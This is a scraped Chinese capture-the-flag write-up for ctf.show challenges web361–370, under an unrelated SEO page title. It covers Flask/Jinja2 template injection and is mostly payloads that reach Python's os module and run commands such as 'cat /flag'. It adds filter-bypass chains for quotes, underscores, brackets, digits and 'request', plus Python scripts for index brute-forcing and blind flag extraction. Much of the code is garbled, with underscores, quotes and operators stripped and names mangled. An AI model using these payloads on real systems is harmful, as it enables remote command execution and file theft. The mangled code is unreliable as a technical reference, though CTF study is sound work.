高端美食网站建设网站建设布局

当前位置: 首页 > news >正文

高端美食网站建设,网站建设布局,南宁市平台公司,长沙广告设计公司排名web361 名字就是考点#xff0c;所以注入点就是name 先测试一下存不存在ssti漏洞 利用os模块#xff0c;脚本 查看一下子类的集合 ?name{{.class.base.subclasses()}} 看看有没有os模块#xff0c;查找os 利用这个类#xff0c;用脚本跑他的位置 import …web361 名字就是考点所以注入点就是name 先测试一下存不存在ssti漏洞 利用os模块脚本 查看一下子类的集合 ?name{{.class.base.subclasses()}} 看看有没有os模块查找os 利用这个类用脚本跑他的位置 import timeimport requestsurl http://c73d3bdd-59d0-449a-bfcd-b683b92b768e.challenge.ctf.show/ for i in range(500):data ?name{{{{().class.base.subclasses()[{}]}}}}.format(i)url1urldataresponse requests.get(urlurl1)if os._wrap_close in response.text:print(i)if response.status_code 429 :time.sleep(0.5)但是这样跑的比较慢修改为多线程会很快 import threading import requests import timeurl http://c73d3bdd-59d0-449a-bfcd-b683b92b768e.challenge.ctf.show/def check_url(i):data ?name{{{{().class.base.subclasses()[{}]}}}}.format(i)url1urldataresponse requests.get(urlurl1)if os._wrap_close in response.text:print(i)if response.status_code 429 :time.sleep(0.5)threads [] for i in range(500):t threading.Thread(targetcheckurl, args(i,))threads.append(t)t.start()for t in threads:t.join()?name{{.class.base.subclasses()[132].init.globalspopen.read()}} config查看配置 ?name{{config.class.init.globals[os].popen(ls).read() }} name{{config.class.init.globals[os].popen(ls ../).read() }} 直接查看flag lipsum 和 cycler 执行命令 ?name{{lipsum.globals[os].popen(tac ../flag).read()}} ?name{{cycler.init.globals.os.popen(ls).read()}} web362 发现跟361一模一样 ?name{{lipsum.globals[os].popen(ls ../).read()}} ?name{{lipsum.globals[os].popen(cat /flag).read()}} 或者利用os模块跟上面一样就不试了 web363 过滤引号 request.args传参绕过 request.args是flask中一个存储着请求参数以及其值的字典 假设传入{{ config.class.init.globals[os] }},因为引号被过滤所以无法执行可以把os换成request.args.a(这里的a可以理解为自定义的变量名字可以任意设置) 随后在后面传入a的值变成{{ config.class.init.globals[request.args.a] }}aos与原命令等效 原payload ?name{{lipsum.globals[os].popen(ls ../).read()}} 传入a和b的值执行命令 ?name{{lipsum.globals[request.args.a].popen(request.args.b).read()}}aosbls 执行成功 直接查看flag web364 过滤args 用刚才的payload被过滤了 request.values 搜索发现除了request.args还有request.values values 可以获取所有参数从而绕过 args ?name{{lipsum.globals[request.values.a].popen(request.values.b).read()}}aosbcat ../flag chr()绕过  通过python自带函数来绕过引号这里使用的是chr() 判断chr()函数的位置 {{().class.bases[0].subclasses()[§0§].init.globals.builtins.chr}} 使用bp爆破查看状态为200 这个爆破结果意味着subclasses()[80]中含有chr的类索引即可以使用chr() 接下来把这一串{%setchr[].class.bases[0].subclasses()[80].init.globals.builtins.chr%}放到前面 原始payload是{{ config.class.init.globals[os].popen(cat /flag).read() }}接下来要用chr()进行替换对照ascii表   os chr(111)%2bchr(115) cat ../flag
chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103) 再把替换后的payload放在后面两段拼在一起得到最终姿势 ?name{%setchr[].class.bases[0].subclasses()[80].init.globals.builtins.chr%}{{ config.class.init.globals[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}web365  过滤[] getitem和pop 因为pop会破坏数组的结构所以更推荐用getitem 上面的两个payload都可以修改 ?name{%setchr[].class.bases[0].subclasses()[80].init.globals.builtins.chr%}{{ config.class.init.globals[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}第一处的[]直接换成()即可 第二处的[0]换成.getitem(0)或者直接删去 第三处的[80]换成.getitem(80) 第四处的[chr(111)%2bchr(115)]换成.getitem(chr(111)%2bchr(115))http://93a505c0-ef5f-41f4-8e90-3212e948736a.challenge.ctf.show/?name{%setchr().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(80).__init__.__globals__.__builtins__.chr%}{{ config.class.init.globals.getitem(chr(111)%2bchr(115)).popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}?name{{lipsum.globals.getitem(request.values.a).popen(request.values.b).read()}}aosbcat ../flag web366 过滤下划线
attr获取变量   ?name{{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.o)|attr(request.values.f)()}}ocat /flagaglobalsbgetitemcosdpopenfread web367 用366的payload也可以 ?name{{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.o)|attr(request.values.f)()}}ocat /flagaglobalsbgetitemcosdpopenfread web368 过滤{{ {%%}绕过 借助print()回显 ?name{% print(lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.o)|attr(request.values.f)())%}ocat /flagaglobalsbgetitemcosdpopenfread {%%}盲注  import requestsurlhttp://9d15c31f-9e48-4295-a4ad-4f2949d66ad0.challenge.ctf.show/ flag for i in range(1,100):for j in abcdefghijklmnopqrstuvwxyz0123456789-{}:params{name:{{% set a(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({}) %}}{{% if arequest.values.d %}}feng{{% endif %}}.format(i), //open函数读取/flag文件的内容a:globals,b:builtins,c:/flag,d:f{flagj} //将flag与request.values.d进行比较如果相等则将字符串feng赋值给变量a。}rrequests.get(urlurl,paramsparams)if feng in r.text:flagjprint(flag)if j}:exit()break web369 过滤request 不同的变量赋值然后拼接成我们想要的命令 ?name {% set podict(poa,pa)|join%} {% set a(()|select|string|list)|attr(po)(24)%} {% set ini(a,a,dict(inita)|join,a,a)|join()%} {% set glo(a,a,dict(globalsa)|join,a,a)|join()%} {% set geti(a,a,dict(getitema)|join,a,a)|join()%} {% set built(a,a,dict(builtinsa)|join,a,a)|join()%} {% set x(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chrx.chr%} {% set filechr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} {%print(x.open(file).read())%}这相当于 lipsum.globals[builtins].open(/flag).read() set 创造变量 构造popop     #利用dict()|join拼接得到 {% set podict(poa,pa)|join%} 等效于a(()|select|string|list).pop(24),即a等价于下划线_ {% set a(()|select|string|list)|attr(po)(24)%} select 过滤器用于选择对象的属性或方法。 string 过滤器将对象转换为字符串。 list 过滤器将对象转换为列表。 构造ini_init {% set ini(a,a,dict(inita)|join,a,a)|join()%} 构造gloglobals {% set glo(a,a,dict(globalsa)|join,a,a)|join()%} 构造getigetitem {% set geti(a,a,dict(getitema)|join,a,a)|join()%} 构造builtbuiltins {% set built(a,a,dict(builtinsa)|join,a,a)|join()%} 调用chr()函数 {% set x(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chrx.chr%} 构造file/flag {% set filechr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} web370 过滤数字 ?name {% set c(dict(ea)|join|count)%} {% set cc(dict(eea)|join|count)%} {% set ccc(dict(eeea)|join|count)%} {% set cccc(dict(eeeea)|join|count)%} {% set ccccccc(dict(eeeeeeea)|join|count)%} {% set cccccccc(dict(eeeeeeeea)|join|count)%} {% set ccccccccc(dict(eeeeeeeeea)|join|count)%} {% set cccccccccc(dict(eeeeeeeeeea)|join|count)%} {% set coun(cc~cccc)|int%} {% set podict(poa,pa)|join%} {% set a(()|select|string|list)|attr(po)(coun)%} {% set ini(a,a,dict(inita)|join,a,a)|join()%} {% set glo(a,a,dict(globalsa)|join,a,a)|join()%} {% set geti(a,a,dict(getitema)|join,a,a)|join()%} {% set built(a,a,dict(builtinsa)|join,a,a)|join()%} {% set x(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chrx.chr%} {% set filechr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%} {%print(x.open(file).read())%}主要就是后面ascii码被过滤需要用c来代替 几个c就代表几比如c1,ccc3 用~拼接    构造coun24 {% set coun(cc~cccc)|int%} 同web169 {% set podict(poa,pa)|join%} {% set a(()|select|string|list)|attr(po)(coun)%} {% set ini(a,a,dict(inita)|join,a,a)|join()%} {% set glo(a,a,dict(globalsa)|join,a,a)|join()%} {% set geti(a,a,dict(getitema)|join,a,a)|join()%} {% set built(a,a,dict(builtinsa)|join,a,a)|join()%} 调用chr()函数 {% set x(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chrx.chr%} 构造file/flag {% set filechr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}